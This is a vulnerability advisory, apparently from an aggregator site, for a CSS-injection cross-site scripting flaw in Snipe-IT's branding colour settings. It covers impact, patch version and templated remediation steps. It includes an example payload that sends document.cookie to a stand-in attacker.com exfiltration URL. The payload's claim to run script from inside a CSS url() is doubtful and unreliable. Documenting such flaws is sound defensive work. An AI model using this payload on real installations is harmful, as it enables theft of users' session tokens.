Cross-Site Scripting (XSS) in snipe/snipe-it (CVE-2026-55481)
Summary
Cross-site scripting in snipe/snipe-it (CVE-2026-55481). Risk of unauthorized operations or information disclosure. Exploitable via default.blade.php. Mitigation: upgrade to 8.6.2 or later.
Original description
The description as published by the source.
Impact
Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.
Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.
Details
The header_color setting (and related color settings such as nav_color and link_color) is rendered inside a CSS `` block using Laravel's {{ }} syntax:
--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};
Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the header_color value to something like:
#fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {
This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.
Patches
Patched in https://github.com/grokability/snipe-it/pull/19097
Workarounds
Enable CSP in your .env file.
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-55481 has been found in snipe/snipe-it.
Attackers can target a specific entry point like default.blade.php over the network to misuse the product.
Risk of unauthorized operations or information disclosure. CVSS score: 4.8/10.
What to do: upgrade snipe/snipe-it to 8.6.2 or later.
If unsure, ask your IT team or search "snipe/snipe-it CVE-2026-55481" on the vendor's site.
CVE-2026-55481 (snipe/snipe-it) — CWE-79 / CVSS v3 4.8
Attack vector: remote (network-reachable)
Attack surface: default.blade.php / header_color / nav_color / link_color
Patched: 8.6.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Cross-site scripting (XSS) (CWE-79) exists in snipe/snipe-it. Attackers reach the vulnerable code path via default.blade.php.
Check the vendor advisory for the affected versions of snipe/snipe-it. Attack surface: default.blade.php / header_color / nav_color / link_color.
Severity: Medium (CVSS 4.8/10). Risk of unauthorized operations or information disclosure.
Update to 8.6.2.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'snipe/snipe-it' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'snipe/snipe-it' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
snipe/snipe-itを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade snipe/snipe-it to 8.6.2ステージング環境で 8.6.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com
- web github.com
- web github.com
- web github.com
- web github.com